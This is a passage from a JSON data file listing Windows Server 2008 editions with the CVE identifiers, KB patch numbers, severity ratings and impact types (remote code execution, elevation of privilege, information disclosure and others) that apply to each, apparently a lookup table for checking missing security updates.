Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480968\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499149\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534303\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2008 for Itanium-based Systems Service Pack 2\":[{\"cve\":\"CVE-2016-3237\",\"kb\":\"3167679\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198234\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012583\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 for x64-based Systems\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-5416\",\"kb\":\"960089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 for x64-based Systems Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3906\",\"kb\":\"2901674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2898855\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126593\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3158991\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3167679\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197655\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198234\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012583\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0101\",\"kb\":\"4011981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4014793\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4018556\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019204\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041671\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4052303\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4021903\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022010\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4022748\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4039384\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038874\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4039038\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056615\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056759\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4101477\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4056564\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093478\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4131188\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4134651\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4458010\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467706\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467706\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4134651\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480968\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499149\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534303\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537810\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541506\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556860\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556860\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571730\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571730\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003210\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003210\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003661\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005090\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005563\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006736\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029318\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025271\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026408\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028222\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041850\",\"severity\":\"Important\",\"impact\":\"Elevation of 